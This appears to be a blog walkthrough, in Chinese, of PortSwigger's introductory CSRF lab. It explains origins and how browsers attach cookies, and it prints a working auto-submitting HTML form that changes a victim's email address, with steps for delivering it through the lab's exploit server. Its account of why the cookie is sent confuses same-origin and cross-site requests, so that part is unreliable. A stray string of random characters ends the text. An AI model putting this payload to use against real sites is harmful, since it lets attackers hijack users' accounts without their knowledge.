CSRF漏洞基础:通过浏览器同源策略劫持用户会话

4 阅读2分钟

Hi everyone! Today, we’ll be solving the first CSRF lab from the PortSwigger Web Security Academy. Let’s get started!

理解浏览器如何发送Cookie

要解决这个实验,你首先需要了解浏览器如何决定是否在发出的请求中包含Cookie。

浏览器根据请求的来源做出这一决定。

如果你是第一次接触“来源”这个术语,下面简单解释一下。以 URL https://example.com 为例:

来源由三部分组成:

  • 协议: https://
  • 域名: example.com
  • 端口: :443(对于 HTTPS,默认端口是 443,大多数浏览器会在地址栏中隐藏它)

重要提示:不要把来源和完整的 URL 混淆。路径查询参数不影响来源。

当浏览器发现某个请求与存有 Cookie 的来源匹配时,它会自动将这些 Cookie 附加到请求中。

当然,还有根据 Cookie 属性(如 DomainSameSiteHttpOnlySecureExpires)的其他规则。但对于第一个实验,你只需要知道基本的来源规则。

实验描述

我以 wiener 用户身份登录,修改了我的邮箱地址,并捕获了 HTTP 请求。以下是发现的内容:

要修改用户的邮箱地址,应用程序需要向特定端点发送一个 POST 请求,并将新邮箱作为表单参数传递。

该请求还需要用户的会话 Cookie 才能成功。

通常,作为攻击者,我们没有受害者的 Cookie。但得益于 CSRF(跨站请求伪造),我们不需要直接获取它们。

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
</head>
<body onload="document.getElementById('autoForm').submit();">
    <form id="autoForm" action="https://<YOUR-LAB-ID>.web-security-academy.net/my-account/change-email" method="POST">
        <input type="hidden" name="email" value="csrf@mail.com">
    </form>
</body>
</html>
  • 修改 <YOUR-LAB-ID>
  • 进入 Exploit Server
  • 将 payload 粘贴到 Body 部分
  • 点击 StoreDeliver Exploit to Victim 按钮

完成这些步骤后,你应该会看到“恭喜,你解决了这个实验!”的提示。

发生了什么?

让我们分解一下:

  • HTML payload 自动向修改邮箱的端点发出一个 POST 请求,并带上新的邮箱地址。
  • Exploit Server(由 PortSwigger 提供)托管这个恶意 HTML。
  • 当你点击 Deliver 时,模拟的受害者会访问这个恶意页面。
  • 受害者的浏览器执行隐藏的表单提交。
  • 尽管我们从未在 payload 中插入 Cookie,但因为请求是发往同源地址,浏览器自动附带了受害者的会话 Cookie。
  • 由于请求包含了所需的一切(端点、POST 正文以及受害者的会话 Cookie),受害者的邮箱地址在不知情的情况下被修改了。

这个实验展示了 CSRF 最基本的形式。在实际应用中,你通常会遇到如下 CSRF 防御机制

  • 反 CSRF 令牌
  • SameSite Cookie 属性
  • 双重提交 Cookie
  • 用户交互要求

在后续实验中,你将学习攻击者如何尝试绕过这些防护措施。

感谢阅读!这是你第一次成功的 CSRF 利用 —— 恭喜!祝你有愉快的一天! CSD0tFqvECLokhw9aBeRqpNzLTXFlojmzFn6OlyTg9WKci4H6MsXxMTMLM4+xPZvI+gqEUVxuK1rcu6o5ylrLcGMeNyFewiqxrMbH3Ct23rZIRgEmIlehpW98HMg2RIN